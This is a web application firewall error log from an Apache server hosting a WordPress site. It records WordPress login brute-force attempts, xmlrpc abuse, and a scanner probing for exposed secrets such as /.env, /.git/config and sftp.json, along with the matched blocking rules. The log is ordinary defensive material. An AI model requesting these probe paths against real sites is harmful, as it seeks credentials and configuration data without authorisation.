[Fri Nov 14 17:21:04.458922 2025] [:error] [pid 16709:tid 16724] [client 43.153.102.138:40162] [client 43.153.102.138] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aRb0gKNdzfVNC4oipLVTagAAAU0"]
[Fri Nov 14 17:31:53.170094 2025] [:error] [pid 16709:tid 16724] [client 188.213.202.106:45729] [client 188.213.202.106] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.106, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRb3CaNdzfVNC4oipLVYfQAAAU0"]
[Fri Nov 14 17:31:53.170720 2025] [:error] [pid 16671:tid 16677] [client 188.213.202.129:38779] [client 188.213.202.129] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.129, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRb3CTsoHwEAmeIzZXBM0AAAAQA"]
[Fri Nov 14 17:56:36.684172 2025] [:error] [pid 16709:tid 16712] [client 188.213.202.139:22071] [client 188.213.202.139] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.139, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRb81KNdzfVNC4oipLVjNwAAAUE"]
[Fri Nov 14 17:56:36.689751 2025] [:error] [pid 16671:tid 16696] [client 188.213.202.136:36873] [client 188.213.202.136] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.136, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRb81DsoHwEAmeIzZXBUeAAAARM"]
[Fri Nov 14 18:07:43.811638 2025] [:error] [pid 16671:tid 16683] [client 182.42.105.85:53727] [client 182.42.105.85] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aRb_bzsoHwEAmeIzZXBYXQAAAQY"]
[Fri Nov 14 18:21:53.790225 2025] [:error] [pid 16575:tid 16652] [client 188.213.202.127:56205] [client 188.213.202.127] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.127, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRcCwe6qT670YxigvbCKKAAAANI"]
[Fri Nov 14 18:21:53.790229 2025] [:error] [pid 16573:tid 16587] [client 188.213.202.122:58025] [client 188.213.202.122] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.122, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRcCwSPGexfUk9FDoEKfwgAAAEk"]
[Fri Nov 14 18:46:48.246414 2025] [:error] [pid 1170:tid 1192] [client 188.213.202.158:31365] [client 188.213.202.158] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.158, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRcImA5pkvzCDzzjItRLUgAAABQ"]
[Fri Nov 14 18:46:48.246436 2025] [:error] [pid 1170:tid 1193] [client 188.213.202.130:49717] [client 188.213.202.130] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.130, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRcImA5pkvzCDzzjItRLUQAAABU"]
[Fri Nov 14 19:10:22.109696 2025] [:error] [pid 16573:tid 16581] [client 188.213.202.106:59395] [client 188.213.202.106] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.106, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRcOHiPGexfUk9FDoEKrZQAAAEM"]
[Fri Nov 14 19:10:22.115233 2025] [:error] [pid 1170:tid 1193] [client 188.213.202.107:30697] [client 188.213.202.107] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.107, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRcOHg5pkvzCDzzjItRVvgAAABU"]
[Fri Nov 14 19:35:01.364934 2025] [:error] [pid 16709:tid 16727] [client 188.213.202.117:32897] [client 188.213.202.117] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.117, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRcT5aNdzfVNC4oipLWCIAAAAVA"]
[Fri Nov 14 19:35:01.364964 2025] [:error] [pid 16709:tid 16719] [client 188.213.202.141:63451] [client 188.213.202.141] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.141, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRcT5aNdzfVNC4oipLWCIQAAAUg"]
[Fri Nov 14 19:39:03.499530 2025] [:error] [pid 16575:tid 16634] [client 180.190.42.22:50010] [client 180.190.42.22] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 180.190.42.22, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRcU1-6qT670YxigvbCdwAAAAMA"]
[Fri Nov 14 19:41:45.919194 2025] [:error] [pid 1170:tid 1189] [client 180.190.42.22:46550] [client 180.190.42.22] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aRcVeQ5pkvzCDzzjItRkWQAAABE"]
[Fri Nov 14 19:42:46.534629 2025] [:error] [pid 16709:tid 16722] [client 180.190.42.22:24494] [client 180.190.42.22] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 180.190.42.22, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRcVtqNdzfVNC4oipLWElQAAAUs"]
[Fri Nov 14 19:43:55.179140 2025] [:error] [pid 16575:tid 16652] [client 180.190.42.22:24256] [client 180.190.42.22] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 180.190.42.22, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRcV--6qT670YxigvbCexwAAANI"]
[Fri Nov 14 19:45:03.093505 2025] [:error] [pid 1170:tid 1174] [client 180.190.42.22:54475] [client 180.190.42.22] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 180.190.42.22, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRcWPw5pkvzCDzzjItRlxAAAAAI"]
[Fri Nov 14 19:46:25.435674 2025] [:error] [pid 1170:tid 1181] [client 180.190.42.22:49733] [client 180.190.42.22] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 180.190.42.22, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRcWkQ5pkvzCDzzjItRmjgAAAAk"]
[Fri Nov 14 19:47:42.784157 2025] [:error] [pid 16671:tid 16700] [client 49.144.135.16:12954] [client 49.144.135.16] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.144.135.16, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRcW3jsoHwEAmeIzZXBz2gAAARc"]
[Fri Nov 14 19:59:10.567074 2025] [:error] [pid 16574:tid 16629] [client 188.213.202.142:55037] [client 188.213.202.142] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.142, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRcZjv6XQqe4NqaoE9JRLgAAAJY"]
[Fri Nov 14 19:59:10.567907 2025] [:error] [pid 16574:tid 16628] [client 188.213.202.144:57147] [client 188.213.202.144] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.144, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRcZjv6XQqe4NqaoE9JRLwAAAJU"]
[Fri Nov 14 20:23:58.011195 2025] [:error] [pid 16671:tid 16695] [client 188.213.202.113:42781] [client 188.213.202.113] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.113, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRcfXjsoHwEAmeIzZXB-LgAAARI"]
[Fri Nov 14 20:23:58.011195 2025] [:error] [pid 16671:tid 16698] [client 188.213.202.135:57139] [client 188.213.202.135] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.135, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRcfXjsoHwEAmeIzZXB-LwAAARU"]
[Fri Nov 14 20:46:04.060874 2025] [:error] [pid 16573:tid 16602] [client 49.144.135.16:13031] [client 49.144.135.16] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aRckjCPGexfUk9FDoELExwAAAFg"]
[Fri Nov 14 20:48:12.209068 2025] [:error] [pid 1170:tid 1185] [client 188.213.202.106:60689] [client 188.213.202.106] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.106, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRclDA5pkvzCDzzjItR_bgAAAA0"]
[Fri Nov 14 20:48:12.209665 2025] [:error] [pid 16671:tid 16688] [client 188.213.202.147:27537] [client 188.213.202.147] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.147, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRclDDsoHwEAmeIzZXCFhwAAAQs"]
[Fri Nov 14 20:48:33.508453 2025] [:error] [pid 16671:tid 16698] [client 49.144.135.16:12858] [client 49.144.135.16] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.144.135.16, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRclITsoHwEAmeIzZXCFnQAAARU"]
[Fri Nov 14 20:48:53.885696 2025] [:error] [pid 16671:tid 16695] [client 103.74.121.5:39242] [client 103.74.121.5] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.74.121.5, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRclNTsoHwEAmeIzZXCFtwAAARI"]
[Fri Nov 14 20:50:24.434259 2025] [:error] [pid 16574:tid 16607] [client 49.144.135.16:11278] [client 49.144.135.16] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.144.135.16, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRclkP6XQqe4NqaoE9JfSQAAAIA"]
[Fri Nov 14 20:52:11.544514 2025] [:error] [pid 16671:tid 16679] [client 49.144.135.16:13064] [client 49.144.135.16] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.144.135.16, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRcl-zsoHwEAmeIzZXCGwAAAAQI"]
[Fri Nov 14 20:53:46.127644 2025] [:error] [pid 16574:tid 16610] [client 49.144.135.16:10318] [client 49.144.135.16] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.144.135.16, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRcmWv6XQqe4NqaoE9JgWAAAAIM"]
[Fri Nov 14 20:55:23.404453 2025] [:error] [pid 1170:tid 1174] [client 49.144.135.16:12729] [client 49.144.135.16] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.144.135.16, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRcmuw5pkvzCDzzjItSBxAAAAAI"]
[Fri Nov 14 21:12:42.192048 2025] [:error] [pid 16575:tid 16646] [client 188.213.202.119:22859] [client 188.213.202.119] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.119, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRcqyu6qT670YxigvbC1egAAAMw"]
[Fri Nov 14 21:12:42.203405 2025] [:error] [pid 1170:tid 1190] [client 188.213.202.111:32117] [client 188.213.202.111] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.111, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRcqyg5pkvzCDzzjItSIAAAAABI"]
[Fri Nov 14 21:38:10.644605 2025] [:error] [pid 16574:tid 16624] [client 188.213.202.140:24039] [client 188.213.202.140] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.140, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRcwwv6XQqe4NqaoE9JsggAAAJE"]
[Fri Nov 14 21:38:10.645444 2025] [:error] [pid 16671:tid 16698] [client 188.213.202.156:44005] [client 188.213.202.156] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.156, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRcwwjsoHwEAmeIzZXCUmgAAARU"]
[Fri Nov 14 22:03:50.811954 2025] [:error] [pid 1170:tid 1178] [client 188.213.202.128:32051] [client 188.213.202.128] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.128, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRc2xg5pkvzCDzzjItSeaAAAAAY"]
[Fri Nov 14 22:03:50.811954 2025] [:error] [pid 16575:tid 16657] [client 188.213.202.146:29261] [client 188.213.202.146] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.146, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRc2xu6qT670YxigvbDEAQAAANc"]
[Fri Nov 14 22:08:30.392290 2025] [:error] [pid 16671:tid 16684] [client 143.244.168.161:35906] [client 143.244.168.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/actuator/env"] [unique_id "aRc33jsoHwEAmeIzZXCdowAAAQc"]
[Fri Nov 14 22:08:31.012730 2025] [:error] [pid 1170:tid 1176] [client 143.244.168.161:35918] [client 143.244.168.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/php-cgi/php-cgi.exe"] [unique_id "aRc33w5pkvzCDzzjItSf-AAAAAQ"]
[Fri Nov 14 22:08:31.634023 2025] [:error] [pid 16575:tid 16643] [client 143.244.168.161:35930] [client 143.244.168.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/server"] [unique_id "aRc33-6qT670YxigvbDE_gAAAMk"]
[Fri Nov 14 22:08:32.254658 2025] [:error] [pid 1170:tid 1180] [client 143.244.168.161:35942] [client 143.244.168.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.vscode/sftp.json"] [unique_id "aRc34A5pkvzCDzzjItSf-QAAAAg"]
[Fri Nov 14 22:08:32.880387 2025] [:error] [pid 16573:tid 16578] [client 143.244.168.161:35958] [client 143.244.168.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about"] [unique_id "aRc34CPGexfUk9FDoELa5AAAAEA"]
[Fri Nov 14 22:08:33.499871 2025] [:error] [pid 16574:tid 16609] [client 143.244.168.161:35960] [client 143.244.168.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/debug/default/view"] [unique_id "aRc34f6XQqe4NqaoE9J0qwAAAII"]
[Fri Nov 14 22:08:34.120921 2025] [:error] [pid 1170:tid 1185] [client 143.244.168.161:35970] [client 143.244.168.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v2/_catalog"] [unique_id "aRc34g5pkvzCDzzjItSf_AAAAA0"]
[Fri Nov 14 22:08:34.823685 2025] [:error] [pid 16671:tid 16700] [client 143.244.168.161:35974] [client 143.244.168.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application"] [unique_id "aRc34jsoHwEAmeIzZXCdqwAAARc"]
[Fri Nov 14 22:08:35.530451 2025] [:error] [pid 16671:tid 16695] [client 143.244.168.161:35984] [client 143.244.168.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/server-status"] [unique_id "aRc34zsoHwEAmeIzZXCdrQAAARI"]
[Fri Nov 14 22:08:36.185356 2025] [:error] [pid 16573:tid 16594] [client 143.244.168.161:45186] [client 143.244.168.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/login.action"] [unique_id "aRc35CPGexfUk9FDoELa7gAAAFA"]
[Fri Nov 14 22:08:36.813523 2025] [:error] [pid 16575:tid 16648] [client 143.244.168.161:45196] [client 143.244.168.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/_all_dbs"] [unique_id "aRc35O6qT670YxigvbDFBQAAAM4"]
[Fri Nov 14 22:08:37.435009 2025] [:error] [pid 16709:tid 16725] [client 143.244.168.161:45198] [client 143.244.168.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.DS_Store"] [unique_id "aRc35aNdzfVNC4oipLWxWAAAAU4"]
[Fri Nov 14 22:08:38.055431 2025] [:error] [pid 16574:tid 16624] [client 143.244.168.161:45202] [client 143.244.168.161] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env"] [unique_id "aRc35v6XQqe4NqaoE9J0rwAAAJE"]
[Fri Nov 14 22:08:38.677983 2025] [:error] [pid 16574:tid 16630] [client 143.244.168.161:45218] [client 143.244.168.161] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aRc35v6XQqe4NqaoE9J0sQAAAJc"]
[Fri Nov 14 22:08:39.298148 2025] [:error] [pid 16574:tid 16611] [client 143.244.168.161:45232] [client 143.244.168.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/s/4313e2232313e243e2330313/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties"] [unique_id "aRc35_6XQqe4NqaoE9J0sgAAAIQ"]
[Fri Nov 14 22:08:39.920267 2025] [:error] [pid 16574:tid 16619] [client 143.244.168.161:45238] [client 143.244.168.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/config.json"] [unique_id "aRc35_6XQqe4NqaoE9J0swAAAIw"]
